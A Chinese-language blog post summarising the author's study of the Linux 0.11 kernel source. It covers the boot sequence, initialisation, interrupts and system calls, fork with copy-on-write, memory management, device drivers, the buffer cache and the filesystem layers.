0.11常用命令 linux

2016-01-29 15:34:35 sdulibh 阅读数 669

我是通过阅读赵炯老师编的厚厚的linux内核完全剖析看完LINUX0.11的代码,不得不发自内心的说Linus真的是个天才。虽然我觉得很多OS设计的思想他是从UNIX学来的,但是他自己很周全很漂亮很巧妙地实现了如此庞大一个系统的绝大多数代码。这里面有太多环节需要注意,很难得。。。

读完之后觉得很有收获,虽然版本很低,但是已经对OS有一个很具体的认识了,比理论上的要来得深刻、真实。下面是我自己学习过程的思考和总结,在看完细节之后主要从LINUX各个功能模块其及相互之间和内部的层次关系去考虑的,本文图片均取自该书。我觉得这篇总结性质的文章对还没有接触linux0.11内核的人来说肯定没有什么意义。应该只有读过的代码的人才会有同感吧。另外我看代码的时候使用了VC版的内核源码工程,代码中的注释与书中几乎一样。用VC可以更容易地在函数定义中跳转查看,节约时间,我的方法是看书上代码前给出的知识介绍,然后在电脑上看代码实现,一共用了十天把这本书主要部分看完了。这里给希望阅读代码的人分享一下:

http://www.mcuol.com/download/upfile/20071011080428_linux011VC.rar

一.源码目录

<!--[if !vml]--><!--[endif]-->

图1

二.系统总体流程:

系统从boot开始动作,把内核从启动盘装到正确的位置,进行一些基本的初始化,如检测内存,保护模式相关,建立页目录和内存页表,GDT表,IDT表。然后进入main进行初始化设置,main完成系统各个模块要用到的所有数据结构和外部设备的初始化。使得系统可以正常的工作。然后才进入用户模式。执行第一个fork生成进程1执行init,运行shell,接受并执行用户命令.

这里整个系统建立起来了,OS就处于被动状态,靠中断和系统调用来完成每一项服务。

三.各个目录的阅读总结:

(一) boot

1.bootsect.s :

bootsect.s编译结果生成一个512BYTE(一个扇区)镜像。这个扇区的最后一个字是0xAA55,倒数第二个字是root_dev变量,值为ROOT_DEV(306),即根文件系统所在的设备号。这段代码必须写入到启动盘的启动扇区,也就第一个物理扇区上。这样机器启动后,BIOS自动把它加载到7C00H处并跳到那里开始执行。bootsect将自己移动到90000H(576K)处,并跳至那里相应位置执行。然后利用BIOS中断将setup直接加载到自己的后面(90200h)(576.5K处),并将system加载到地址10000h处。 跳到setup中执行。

2setup.s

利用BIOS中断把系统参数如显卡,硬盘参数保存到内存90000开始的位置,即覆盖原bootsect所在的内存位置。再把整个system 模块移动到00000 位置。加载GDTR和IDTR,这里的GDT表是临时的,保存了两个描述符,即内核代码、内核数据段描述符,其段基地址为0。而加载IDT除了进入保护模式需要加载IDTR之外,没有任何意义。开启A20 地址线开启扩展内存。重新设置8259中断码0x20~0x2f。进入保护模式(PE置1)跳转到system模块中的head.s中(0处)执行。Bootsect.s和setup.s执行时内存变化情况。

<!--[if !vml]--><!--[endif]-->

图2

3head.s

前4KB的代码将被页目录覆盖掉。这些代码执行的操作包括:设置系统堆栈为_stack_start。重新设置GDTR和IDTR。gdt,idt表都定义在head.s的末端,长度均为256项(2KBYTE)。第2个页面到第5个页面是系统的4张页表。最后一个页表后面的代码执行分页操作,即填充的4个页目录和4张页表的内容,实现对等映射,即物理地址=线性地址。每个页表项属性为存在并且用户可读写。设置好后置CR3页目录地址即0。启动分页标志,CR0的PG标志置1。跳到main函数中执行。

跳到main之前,内存布局如下:从0到16M

                    页目录4K(0x0开始)

                    页表1 4K

                    页表2 4K

                    页表3 4K

                    页表4 4K

                     软盘缓冲区1K

                     head.s后半部分代码

                     IDT表2K

                     GDT表2K

                     main.o代码部分

                  内核其余部分(大约到512K,end值为结束地址)

                  setup保存的系统参数(90000H~900200)这个区间还保存着root_dev.

                  BIOS(640K-1M)

                     主内存区(1M-16M)

 

现在初始化好了内核工作依赖的主要的数据结构是GDT和IDT表,还有页表。

(二)内核初始化init

main.c将进行进一步初始化工作。主要方面:分配主内存功能,IDT表各中断描述符重新设定,对内核其它模块如mm,fs进行初始化,然后移到用户模式下生成进程1执行init,常驻进程0死循环执行pause。进程init加载根文件系统,设置终端标准IO,创建进程2以/etc/rc为标准输入文件执行shell.完成rc文件中的命令。

init等进程2退出,进入死循环:创建子进程,建立新会话,设置标准IO终端,以登录方式执行shell.

至此系统动作起来了。

 

所以整个系统的建立起来后除了两个死循环的进程idle和init,其它的动作都是由用户在shell下执行命令,产生系统调用来工作的。

通过执行move_to_usermdoe(),idle和init进程都属于用户态下的进程。而内核则完全是中断驱动的。也就是说只有通过中断才能进入系统,如时钟和系统调用等。

 

所以问题的重点就在于内核各部分数据结构的建立、初始化、操作是怎样进行的。这些初始化流程涉及到内核各个模块全部重要的数据结构。

现在从main执行的一系列初始化代码来浅窥一下:

1.根据内存的大小,设置高速缓冲的末端。16M内存把高速缓冲末端设为4M。缓冲末端到主存末端为主内存区。

2.mem_init(main_memory_start,memory_end);主内存区初始化

 设置高端内存HIGH_MEMORY=memory_end,

 设置内存映射字节图mem_map [ PAGING_PAGES ],将不可用的全部置为USED,可用的置为0。mem_map数组是系统mm模块核心数据结构,记载了每个内存页使用计数。

3.trap_init().硬件中断向量表设置。

  向IDT中填充各个中断描述符,使其指向对应的中断处理程序。对于错误,基本是结束当前进程。其他如外设中断都是各个模块初始化的时候向IDT表中相应项进行设置。

4.blk_dev_init();     // 块设备初始化。

       初始化请求数组request[],将所有请求项置为空闲项(dev = -1)。

5.chr_dev_init();    // 字符设备初始化。尚为空操作。

6.tty_init();            // tty 初始化。                    

       /// tty 终端初始化函数。                                                 

       // 初始化串口终端和控制台终端。                                          

       void tty_init (void)                                                     

       { 

              rs_init ();                   // 初始化串行中断程序和串行接口1 和2。(serial.c, 37)   

              con_init ();                   // 初始化控制台终端。(console.c, 617)                

       }

       rs_init 初始化两个串口,安装串口中断处理IDT项。

       con_init 初始化显示器和键盘。安装键盘中断处理IDT项。                                                                 

7.time_init().取CMOS 时钟,并设置开机时间 startup_time(为从1970-1-1-0 时起到开机时的秒数)

8.sched_init(); // 调度程序初始化(加载了任务0 的tr, ldtr)

 这里初始化与进程调度有关的数据结构。

 手工设置了任务0的TSS和LDT到GDT表中。

 清GDT表和task[NR_TASKS]数组其余部分。

 ltr (0);                 // 将任务0 的TSS 加载到任务寄存器tr。

lldt (0);                // 将局部描述符表加载到局部描述符表寄存器。

设置内核的工作心跳--8253定时器,安装定时器中断。

设置系统调用中断门:set_system_gate (0x80, &system_call);

9.buffer_init(buffer_memory_end);// 缓冲管理初始化,建内存链表等。

  在内核的结束地址end(由连接程序生成)到buffer_memory_end之间(除掉640kb-1M的BIOS范围)区域中,建立缓冲区链表(表头start_buffer)并分配缓冲块(1KB)。

  初始化空闲表free_list,HASH表hash_table。

10.hd_init();// 硬盘初始化。

 blk_dev[MAJOR_NR].request_fn = DEVICE_REQUEST; //设置硬盘的设备请求函数为do_hd_request.

 设置硬盘中断处理IDT项。

11.floppy_init();//软盘初始化。

       blk_dev[MAJOR_NR].request_fn = DEVICE_REQUEST;

       设置软盘中断处理IDT项。

12.sti()开中断。

13.move_to_user_mode();移动到用户态执行。

这是个宏。由嵌入汇编代码组成。设置内核堆栈中的CS为任务0代码段(用户态),通过中断返回iret, 自动加载了LDT0的代码段到CS,数据段到SS,DS等,完成了从特权级从0跳到3。其实执行的代码在内存中的位置完全相同。只是完成执行权跳到用户态而已。这样,内核执行变成了任务0的执行。

14.fork();生成进程1,执行init();

这里的fork()是内联函数。为了不使用用户栈。

进程0从此死循环执行pause();

15 init();

进程1执行init()函数。

调用setup取硬盘分区信息hd.加载虚拟盘,进程init加载根文件系统,设置终端标准IO,创建进程2以/etc/rc为标准输入文件执行shell.完成rc文件中的命令。加载完根文件系统之后,整个OS就已经完整地运行起来了。

init等进程2退出,进入死循环:创建子进程,建立新会话,设置标准IO终端,以登录方式执行shell.,剩下的动作由用户来决定了。

 

(三)kernel:

<!--[if !vml]-->
<!--[endif]-->

图3

个人认为最主要的是中断代码,然后是中断代码会调用的通用代码。为什么这么说呢,无论是调度schedule,还是fork,都只有在用户进程执行int 0x80 中断进行系统调用或者是硬件中断才能进入内核代码,执行内核函数。当内核初始化结束后所有进程都是用户态进程,只有通过IDT表中定义的那些中断函数去执行内核代码。所以中断是OS的主线,只是在功能上分成了多个模块。

在traps.c中,设置了绝大多数中断向量,通过set_trap_gate()或者set_intr_gate设置对应IDT描述符。set_trap_gate()不会屏蔽中断,而set_intr_gate屏蔽外部中断,中断处理程序都是用汇编定义的,大部分在asm.s中定义,其余在system_call.s,keyboard.s,rs_io.s中定义。 汇编程序中再调用C语言程序做具体的处理。

比较重要的中断时钟中断int 0x20,系统调用中断int 0x80,页故障中断int14,还有一些外部设备如键盘,硬盘等也很重要,不过属于fs模块的内容。大多数异常只是简单调用sys_exit()结束当前进程,并重新调度其他进程schedule()。

从几个重要中断去中断执行流程去弄清OS怎么工作的:

1)int 0x20 时钟中断

时钟是整个OS工作的心跳。8253每10ms产生一个中断。中断服务执行do_timer(),然后do_signal();

do_timer主要判断当前进程时间片是否用完,如果用完且处于用户态则执行schedule()重新调度。如果中断时当前进程正在内核态执行,则不能进行切换。也是说linux在内核态不支持任务抢占。这样使得内核的设计大大的简化了,因为除了进程自己放弃执行(如sleep,wait类)不用担心临界区资源竞争的问题。

如果当前进程是用户进程,判断当前信号位图中是否有未处理的信号,取最小信号然后调用do_signal()。这个函数想要执行用户定义的信号处理函数。

do_signal()把信号对应的处理函数插入到内核堆栈eip处,并修改用户堆栈使中断返回后用户进程执行信号处理函数,

信号处理函数返回后执行一个sa_restorer,恢复用户堆栈为正常中断退出之后的状态。(这是一个技巧,它实现了内核空间调用用户空间的函数!!!)

另外内核空间与用户空间数据交换默认通过fs来完成。

用户进程总是通过中断进入内核态,信号判断总是发生在时钟中断和系统调用中断处理之后。所以实时性也很强,因此称为软中断。

关于信号,在schedule()中,对当前系统中的所有进程alarm信号定时判断,可睡眠打断进程如果有未屏蔽信号置位唤醒(状态改为就绪)。

因此时钟,系统调用,以及最频繁调用的schedule()里面都会处理信号。因此信号总是可以及时地得到"触发"。

2)int 0x80 系统调用

系统调用的架构就是一个统一的中断入口和出口_system_call,保护现场,准备参数(最多三个),取调用号,调用系统调用函数列表中对应处理函数,多是名为sys_XXX()的C函数。C处理函数返回后的后期流程:

如果进程系统调用后状态不为就绪态或者时间片用完,执行调度schedule();判断中断前是用户进程且有未处理的信号?执行do_signal(),中断返回。

 

最重要的系统调用莫过于fork()和execve;

首先进程的重要组成部分:

任务数组task[],每个任务占一项(假定序号为nr),每个虚拟地址空间都是64M, 范围从nr*64M到(nr+1)*64M-1 ,在页目录表中最多占16项,每项对应一个页表即4M空间。进程任务数据结构task和内核栈共用一页空间,内核栈顶在页空间末端,task数据在页起始端。

进程的页表占用的页需要通过内存管理提供的接口get_free_page()来申请。 每个进程在GDT表中占用两个描述符项,LDT(nr)和TSS(nr)。

 

fork()流程:

调用find_empty_process()找一个空闲的进程任务task[]下标即任务号nr,并取得一个不重复的pid.
调用copy_process(...),里面一堆参数都是系统栈中保存的全部内容。(汇编和C混合编程技巧!)。copy_process 向mm申请一页内存保存task数据和设置内核堆栈。把父进程也就是当前进程的task数据全部拷贝,然后修改。
设置tss内容,(需要修改的主要是ss0=内核数据段,esp0=申请的页底部,eax=0)。

copy_mem拷贝进程空间。注意任务号nr意义在于进程的虚拟地址空间在nr*64M~(nr+1)*64M范围内。copy_mem先计算子进程虚拟地址空间基址和父进程空间大小,设置子进程LDT中的代码段和数据段描述符基址和段限。调用copy_page_tables复制进程空间。copy_page_tables就是把父进程占用的页目录项和全部页表中指定的有效的物理页面全部拷贝到子进程的页目录项和页表中去。同时把父子进程的页表设为共享的也就是只读的,一旦任意一个进程执行写内存操作,将发生页错误中断。这个中断将导致系统为进程重新分配可写的内存页。copy_page_tables先计算父子进程虚拟地址空间占用的目录项(16个最多)开始地址,对每个有效的目录项先为子进程分配一个页面作为页表,然后对该目录项下所有有效的页表项进行复制。同时把r/w位都置0。把对应物理页的mem_map[]加1。这样做非常高效而且非常巧妙。最大限度地共享了本身就只读或者不需要再写的页面。每当进程和内核之间要交换数据时尤其是内核向进程空间写数据时总是要先验证进程给的线性地址是否有效。如verify_area,write_verify..这两个函数最终会调用un_wp_page,取消页面的写保护。对mem_map[]=1的直接置r/w为1,mem_map[]>1表明页面共享了,内存页映射表mem_map[]-1然后申请空闲物理页,设置到页表项中,并复制页面copy_page。可见,父子进程先写进程者将申请空闲页并拷贝页面内容,另一个则可以直接使用原来的页面,因为这时mem_map[]=1了。

进程空间拷贝完毕之后,再设置一些task结构数据。给GDT表填加两项LDT(nr),TSS(nr).进程状态设为就绪,等待被调度就OK了。。

这就是所谓的写时复制,太神奇了。。

 

execve提供了需求加载的机制。

它加载一个程序文件到进程中执行,因此把原来进程拥有的页表项和页表全部释放掉。同时分配一页内存存放参数。

根据可执行文件头把进程任务数据结构task[nr]所有数据都设置好,但是并不加载一页代码数据。所以整个进程就是一副空架子。

从进程空间的第一条语句开始执行就会产生中断,然后根据PC的值从外设中加载所在页到内存中。这个中断将执行do_no_page.

这个函数在fs模块中定义,在fs模块中再仔细分析。

 

3)缺页中断int14

这个中断是十分有用的,它实现写时复制。fork和execve没做完的事情都会由这个中断提供的功能来了结。

中断错误号为出错页表项的最后3位。根据P位0或1判断是缺页中断或写保护中断。

缺页中断调用do_no_page,写保护调用do_wp_page.

do_wp_page提供写时复制机制,

取消页面保护(对于主内存区而言),页面不是共享状态,即mem_map[]=1,则置r/w=1返回。

如果页面是共享状态(mem_map[]>1),mem_map[]--,申请一页内存,并拷贝,映射到进程空间。

do_no_page提供的需求加载机制。

CR2提供发生错误时的线性地址。如果当前进程没有可执行文件且该地址比数据段末地址大,这可能是因为堆栈伸长引起的,直接申请一页内存映射到该线性地址所在页。

否则尝试页面共享,即如果有执行文件而且其inode使用计数>1,表明系统中可能有进程也在执行这个程序,这样可以查找到这个进程并把其对应地址处的页面共享到自己空间,也就是修改这两个进程对应的页表项。而且是共享方式,所以只能读不能写,如果有一个进程要执行写,则会引起写保护中断,系统再给写的进程另外再分配内存页并拷贝一页内容。如果尝试页面共享失败,没办法只得从外设中加载,找到可执行文件的inode.计算要读的逻辑块号(注意第一块是文件头),读一页(4块)到内存。分配页面,复制缓冲中的4块数据,把页面映射到进程空间引起中断的线性地址处。

 

(四)mm内存管理

linux的mm虽然只有两个文件memory.c和page.s,但是内容却很不简单。必须对分页机制有很好的理解才能读明白。
这个版本的内核每个进程虚拟空间64M,共支持4G/64M=64的任务数。所有进程共用一个页目录,但是却有自己的页表。
对虚拟地址的划分使得在页目录中也存在划分。每个进程虚拟空间最大占用16个目录项,每个目录项指向一个页表(1024个内存页),对应4M空间。
线性地址分三段,每段都是一个索引index或者叫偏移(offset),第一段索引是在页目录(基址在CR3)中找到页目录项,页目录项里保存的是一张页表的基地址。以线性地址的第二段为索引加上这个基地址,得到的页表项保存的是实际内存页的起始地址。再加上线性地址第三段为偏移,得到线性地址映射的实际物理地址。

 

内存管理提供的功能主要有管理页面,操作进程空间,缺页中断处理(写时复制,需求加载),共享内存页。其中大多数函数都会访问页目录和页表,都使用上述的计算的原理。

 

内存管理mm和内核kernel两部分代码联系十分密切

内存管理提供的主要的功能函数可以分为

1管理页面    :取一个空闲页get_free_page,释放一页free_page. 
2操作进程空间:free_page_tables释放进程页目录和页表
                            copy_page_tables在进程空间之间复制页目录和页表。主要提供给fork()使用,实现写时分配。
                            put_page 把一页内存映射到进程空间中去。
                            write_verify进程空间有效性验证,当内核向用户空间写数据之前必须进行验证。为可能为无效的地址区域分配页面
3页面共享&页故障中断:
                            try_to_share 尝试在打开文件表中找当前执行程序inode,已经存在的话就查找所有进程中executalbe与当前进程相同的任务。有则尝试共享对应地址的映射的物理页面。即添加到自己相应位置的页表项中去。(share_page) 
                            do_no_page 缺页中断。判断地址是否超出end_data,是则可能是堆栈伸长,分配页面到相应位置(get_free_page,put_page),否则表示地址在可执行文件内部,先尝试共享,不成功则从线性地址计算需加载部分在文件上内部的块号,通过bmap把文件内部块号映射的设备逻辑块号计算出来。申请空闲页并通过bread_page读取一页,最近由put_page把这页映射到发生中断的进程页面上。

un_wp_page在写保护中断中调用,取消页表保护,实现写时复制。

(五)文件系统模块fs:

1.总体结构:

Linux把所有设备都做为文件来看待。提供统一的打开,关闭,读写系统调用接口。          下面是文件系统层次关系:

<!--[if !vml]--><!--[endif]-->

图4

总体来说,文件系统提供两类外部接口(系统调用),文件读写和文件管理控制。

上图中Read_write代表的是文件读写系统调用接口read,wirte。它根据操作文件的类型分别调用了四种读写函数:

字符型文件tty_read,tty_write,在kernel/chr_drv驱动模块中定义;
FIFO文件  pipe_read,pipe_write 都是内存操作。Fs/pipe.c中定义
block_dev块设备文件 :block_read,block_wirte,间接调用bread。

File_dev 常规文件。File_read,file_write,   涉及的内容是fs主要的内容。

图中Open stat fcntl 则是文件系统的系统管理控制接口如创建打开关闭,状态访问修改功能。这主要针对常规文件,如根文件系统下的全部文件。这些都需要底层文件系统函数支持,主要包括文件系统超级块,i结点位图和逻辑块位图,i结点,文件名解析等操作。而这些底层文件系统函数则建立于buffer提供的缓冲管理机制之上。这些是对上图的大体归纳吧!

在上面总结kernel的时候,没有提及blk_drv和chr_drv,因为我觉得把它们放在文件系统里面来更合适。

Blk_drv目录是块设备驱动代码。实现了HD(硬盘),FD(软盘),RD(Ramdisk)三种块设备的底层驱动,并提供一个外部调用的接口ll_rw_block(dev,nr)。就是上图中右下虚框示意的层次上。

图5

 

同样的,char_drv实现了字符设备(串行终端)的驱动,包括控制台(键盘屏幕),两个串口。实现供上层调用的读写接口read_tty , write_tty。下面是源码关系图:

<!--[if !vml]--><!--[endif]-->

图6

2下面分别从从底层向高层总结一下各个层次中源码实现的主要细节:

2.1 块设备驱动部分 kernel/blk_drv

块设备工作流程(粗略):

1)文件设备接口调用底层块设备读写函数ll_rw_block(int rw,buffer_head *bh).这里bh要读的设备号,块号,已经写入bh, rw是读或者写指令

2)ll_rw_block(int rw,buffer_head *bh)取主设备号major,调用make_request(major,rw,bh);

3)make_request(major,rw,bh)申请一个请求项,根据rw和bh相应设置填充req各字段值,     并调用add_request (major + blk_dev, req)插入到设备major的请求队列。

4)add_request (major + blk_dev, req)检查设备等待队列是否为空,为空则把req添加到队列中并马上调用设备的请求执行函数。
       对于硬盘,这个函数就是do_hd_request,它将根据请求项的各个字段设置向硬盘发出相应的命令. 如果请求队列不为空,则按照电梯算法把req加到队列中。
       ll_rw_block函数返回。

整个ll_rw_block()返回到上层调用(缓冲管理部分buffer.c)。然后调用进程将执行等待wait_on_buffer(bh);进程切换。

硬盘接受命令后,完成req要求的读/写一个扇区后将发出中断。hd_interrupt(定义于kernel/system_call.s)被执行。调用_do_hd。do_hd是设备当前要调用的中断处理函数的指针。根据当前请求,do_hd_request在调用hd_out向硬盘控制器发命令(如读写或复位等)时根据命令类型指定do_hd为read_intr, write_intr或其它。如果为读,do_hd=read_intr。写则do_hd=write_intr.

read_intr 将判断当前请求项请求读的扇区数是否已经全部读完,如果没有,再次设置do_hd=read_intr,然后返回。如果全部完成,则调用end_request(1)去唤醒等待的进程。然后调用do_hd_request去处理其余请求项。

 

write_intr 将判断当前请求项请求写的扇区数是否已经写完,如果没有,把一扇区数据复制到硬盘缓冲区内,然后再次设置do_hd=write_intr并返回。如果写完,则调用end_request(1),更新并有效缓存块,然后调用do_hd_request去处理其余请求项。

整个硬盘读写流程如下 :


图7

 

对于软盘,大体的流程差不多。只是软盘有启动马达等延时写时操作,比较琐碎一些。

对于ramdisk,速度很快所以不需要中断机制,当然请求队列也最多只有当前一个。像上面的过程一样,make_request会调用add_request,而由于前面的请求队列一定为空,所以会马上执行do_rd_request. 在do_rd_request中直接读、写数据。然后就end_request(1).

2.2 字符设备驱动 kernel/chr_drv

串行/字符设备在linux下叫TTY,每个TTY对就一个tty_struct结构。0.11版本一共三个,一个控制台两个串口。每个tty_struct有三个缓冲区,read_q, write_q,  secondary 。
read_q保存原始的输入字符队列,write_q保存的是输出的字符队列,secondary里面是输入字符序列通过行规则处理后的字符序列。
tty_struct中的termios保存的是终端IO属性等。这个结构通过tty_ioctl.c中tty_ioctl()来对tty进行相应的控制或设置。
避开非常琐碎的行规则,从char_dev.c中函数rw_tty调用来看整个过程的粗略脉络。 rw_tty(int rw,unsigned minor,char * buf,int count, off_t * pos)。检测进程有无终端,有则根据rw调用tty_read 或者tty_write. 
先看tty_read(minor,buf,count),对于要求读取的字节数nr,在定时时间内,循环读取secondary中的字符,直到读到nr个为止。如果secondary空了,  进程等待于secondary的等待队列上。如果超时,则返回。

再看tty_write(minor,buf,count),如是tty写缓冲write_q已经满了,睡眠sleep_if_full (&tty->write_q); 对于要求写字节数nr,循环拷贝到write_q中去。如果拷贝过程中write_q满了或者已经拷贝完调用写函数。没拷贝完则切换进程。剩下的工作交给中断处理程序去完成。

 

对于读操作,当tty收到一个字符,比如串口收到一个字符或者是用户按下键盘,系统将进入相应中断程序。中断程序对收到的字符进行处理,然后把字符放入对应tty的read_q中,调用do_tty_interrupt,do_tty_interrupt直接调用copy_to_cooked(tty).  copy_to_cooked(tty)把read_q的全部字符通过行规则处理。然后放到secondary队列中去。如果tty回显标志置位,则把转换后的字符也放到写队列write_q中,并调用tty->write (tty); 如果中ISIG 标志置位,收到INTR、QUIT、SUSP 或DSUSP 字符时,需要为进程产生相应的信号。最后唤醒等待该辅助缓冲队列的进程(如果有的话)。wake_up (&tty->secondary.proc_list); 中断返回。

对于写操作,如果tty是控制台,其tty写操作为con_write (tty),这个函数直接把write_q中所有字符按照格式写到显存中去或者调整光标。如果是串口,tty写操作为rs_write(tty);这个函数更简单,打开串口发送缓冲空闲允许中断位就返回。这样,CPU会马上收到一个中断,在中断程序中,写操作才会真正进行。串口写缓冲空中断执行时先判断写队列是否为空,如果为空,唤醒可能的等待队列,并且禁止发送缓冲空中断允许并中断返回。如果不空,但是写队列字符数小于256,也唤醒可能的写等待队列,然后从写队列中取一个字符写入串口发送寄存器。中断返回。

2.3文件系统之缓冲管理fs/buffer.c

缓冲管理部分两个作用,利用cache机制提供更高效的使用外部块设备,给使用块设备的其它程序提供简单的接口如bread。使得上层程序对设备操作全部变成对缓冲块的操作。给块设备如软硬盘提供一种cache机制。每个缓冲块buffer_head都对应一个设备dev和逻辑块号block,引用计数count,修改标志dirt,有效标志uptodate。 类比CPU,修改标志与有效标志是cache机制必需的,而dev和block号则相当于地址。缓冲管理负责设备数据块与缓冲映射块数据一致性。缓冲管理具体去调用设备驱动程序ll_rw_block().

Buffer.c主要提供的函数有申请、释放缓存,同步(buffer与设备内容一致),读取。而写操作则总是在缓冲不足的情况下利用同步进行的。读取的时候总是根据给定的dev和block先查找当前缓存中是否存在有效的对应块,如果存在就不再访问设备。否则取一个空闲缓冲,调用设备驱动ll_rw_block。

缓冲块链表实现了hash链表和LRU算法,所有的缓冲块都连接于链表中,链表头总是空闲度最高的缓冲块,链表尾则是最近刚申请的块。查找空闲缓冲从头开始比较空闲度,找最大的。这就实现了LRU算法。 所有具有相同hash值的缓冲块连接于同一个hash_table[nr]项上。nr值由设备号和块号经过一个hash算法得到。这样查找速度会快好多倍。

所有对外设逻辑块的读写都在这里被转化为对缓冲块的读写。每次读写前总是先根据设备号和逻辑块号到hash_table[]表中查找hash链表,若已经存在且有效,则直接对缓冲读写。写后要置修改标志dirt。这样当执行同步操作,或者getblk()找不到干净的空闲块的时候会把所有dirt为1的未被占用(count=0)的缓冲块写入磁盘。

2.4 文件系统之文件系统底层操作。

文件底层操作。(bitmap.c,inode.c,namei.c,super.c,truncate.c,)这部分按照文件系统对硬盘等块设备的使用规则,实现了相应规则的操作函数。文件系统把块设备按逻辑块管理,功能划分:

引导块

超级块

i结点位图块区

逻辑块位图块区

i结点块区

数据块区

    超级块指明了整个文件系统各区段的信息。两个位图区分别指示i结点区和数据块区的占用和空闲状况,i结点区中每个i结点都代表一个文件或者目录。整个文件系统的根目录在第1个i结点处。通过它可以找出任何路径下的文件的i结点。

i结点指示一个文件或者目录,一个i结点的内容主要是文件占用的数据块号。直接块号,一、二次间接块号提供了灵活的机制来线性地查找文件中一个数据块对应在哪一个具体的物理块上。目录文件的数据块内容是目录项,它包含的所在目录的全部文件和子目录的信息。每个目录项保存一个文件或者子目录的inode号和文件名。

相应地,bitmap.c提供了i结点位图,数据块位图的占用和释放操作。super.c实现对超级块的读定安装卸载操作。inode.c实现是获取指定nr的inode(iget(dev,nr)),写回inode ( iput(inode) )等操作。

namei.c则实现了按照文件名来获取inode的操作。从而提供了通过文件名来管理文件(inode)的方法。

这些操作之间的层次并不十分清晰,相互调用很多。注意块设备是按块为最小单位访问的,这些操作不过是按照文件系统对设备块使用的定义对各个块以及块中的数据做解析和操作罢了。文件底层操作都貌似在访问块设备,但是却仅仅调用了缓冲管理提供的接口。它们操作了内存。缓冲管理去实现设备的读写。比如在系统安装根文件系统的时候,超级块已经读如缓冲,根据超级块的信息,将i结点位图块,逻辑位图块读入到内存缓冲中了。

下面对各个源文件的实现进行小结:

bitmap.c: 位图操作,主要提供文件系统中i结点位图,逻辑块位图相关操作,包括申请和释放inode,申请和释放block.首先文件系统的位图块在mount_root中已经缓存到buffer中,缓冲块指针由超级块s_zmap[],s_imap[]指向。所以申请释放操作主要的一部分------对位图相应位置位或者复位就变成对缓冲块置位复位了,然后修改标志dirt=1就行了。
new_block除了要对找到的空闲位置位外,还要申请一块空闲缓冲(清0)并填申请块的dev和block。置有效和修改标志。这么做其实就等于一个写操作,即把申请的设备块清0。(当然,可能申请后马上就要写这一块,所以这么做最高效了。)

truncate.c: 对文件(inode)长度清0。主要调用free_block对位图进行操作。直接块直接释放,对一次间接块上所有有效块号释放,然后再释放一次间接块。二次间接块同理。

inode.c:   主要提供三个函数,iget,iput,bmap.  iget是获取指定设备和i结点号的内存i结点。使用计数加1。主要调用read_inode(调用buffer管理部分) ;iput是把一个内存i节点写回到设备中去。使用计数减1。主要调用write_inode(调用buffer管理部分)
bmap是把文件块号对应到设备块号(逻辑块号)中去。文件块号是按直接块,一直间接,二次间接顺序计算的索引。逻辑块号则是保存在它们里面的块号。有点像页表,页的线性地址对应文件块号,页的物理地址对应逻辑块号。页表项中的保存的地址就是页物理地址。bmap有创建和不创建两种方式。创建时会根据文件块号给文件(inode)申请逻辑块存放可能需要的一、二次间接块和数据块。

super.c:对文件系统超级块的相关操作。如get_super,put_super,read_super,sys_mount,sys_umount;超级块对应一个文件系统。
get_super(dev)在系统超级块数组中查找并返回匹配的超级块。
put_super(dev)释放超级块数组中超级块信息,并释放超级块i结点,逻辑块位图占用的缓冲区。
read_super(dev)先在超级块数组中查找,有直接返回,没有则先在超级块数组找一空闲项。读dev 1号块,取得超级块信息,如位图占多少块,再读位图块(i位图,逻辑块位图)到缓冲中。设置完毕返回。
sys_mount(devname,dirname,rw_flag) 在目录dirname上安装devname设备的文件系统。取dirname和devname的i结点判断二者都有效?然后读dev超级块read_super(dev),置超级块安装结点为direname的i结点 sb->s_imount=dir_i. 置目录i结点安装标志1。所以i结点的安装标志表明该目录是否安装了一个文件系统。而要知道安装的文件系统的具体信息则要查找超级块数组,看看哪一个超级块的s_imount等于该i结点。。。

namei.c:提供文件路径名到i结点的操作。大部函数参数都直接给出文件路径名,所以它实现了通过文件名来管理文件系统的接口。如打开创建删除文件、目录,创建删除文件硬连接等。
大部分函数的原理都差不多:调用get_dir取得文件最后一层目录的i结点dir。如果是查找就调用find_entry从dir的数据块中查找匹配文件名字符串的目录项。这样通过目录项就取得了文件的i结点。如果是创建(sys_mknod)就申请一个空的inode,在dir的数据块中找一个空闲的目录项,把文件名和inode号填入目录项。创建目录的时候要特殊一些,要为目录申请一个数据块,至少填两个目录项,.和..  (sys_mkdir)。
删除文件和目录的时候把要释放i结点并删除所在目录的数据块中占用的目录项。
打开函数open_namei()基本上实现了open()的绝大部分功能。它先按照上述过程通过文件路径名查找 最后一层目录i结点,在目录数据块中查找目录顶。如果没找到且有创建标志,则创建新文件,申请一个空闲的inode和目录项进行设置。 对于得到的文件inode,根据打开选项进行相应处理。成功则通过调用参数返回inode指针。
这个文件用得最多的功能函数莫过于namei();根据文件名返回i节点。
这里任何对inode的操作都是通过iget,iput这类更底层的函数去实现,iget和iput所在的层次基于buffer管理和内存inode表的操作之上。

 

2.5 文件系统之文件数据访问操作  这提供读写系统调用接口read,write

主要包括文件:
block_dev.c:定义了块设备文件的读写函数,block_write,block_read. 
file_dev.c :定义正规文件读写函数。file_read,  file_write
pipe.c   :定义FIFO文件读写及管道系统调用。read_pipe, write_pipe, sys_pipe

char_dev.c :定义字符型设备访问读写,rw_ttyx, rw_tty, rw_char. 最终都调用tty_read,tty_write
read_write.c:实现文件系统读写接口 read,write,lseek。
read,write的参数是文件句柄fd,这需要通过系统调用sys_open来获取。函数根据进程task的filp[fd]指向的系统打开文件表项获取inode、读写权限、当前读写位置等。由inode的类型(上面四种之一)调用相应读写函数(参看图4)。对于正规文件,过程如下:由inode指向的内存inode项获取文件在设备上的位置大小等信息。通过inode和bmap计算要读取的文件数据在设备的逻辑块号。通过bread读数据块,然后对缓冲块进行读写。到此就不用管了。缓冲管理的作用真的是太神奇了。

2.6 文件系统高层操作&管理部分

包括文件open.c,exec.c,stat.c,fcntl.c,ioctl.c 实现文件系统中对文件的管理和操作,如创建,打开,设置/读取文件信息,执行一个文件程序。这个层次位于文件底层操作之上,调用底层函数去实现。

open.c: 定义了系统调用sys_ustat,sys_access,sys_chmod,sys_chdir,sys_chroot,sys_open,sys_close.参数基本上是文件名或者文件句柄。 
可以分为三类:修改inode属性类(前3个),修改进程根/当前目录,打开关闭文件。     
第一类通过namei找到i结点,修改相关属性域,iput写回设备。
第二类通过namei找到i结点,把进程task数据相应域设为对应inode. 
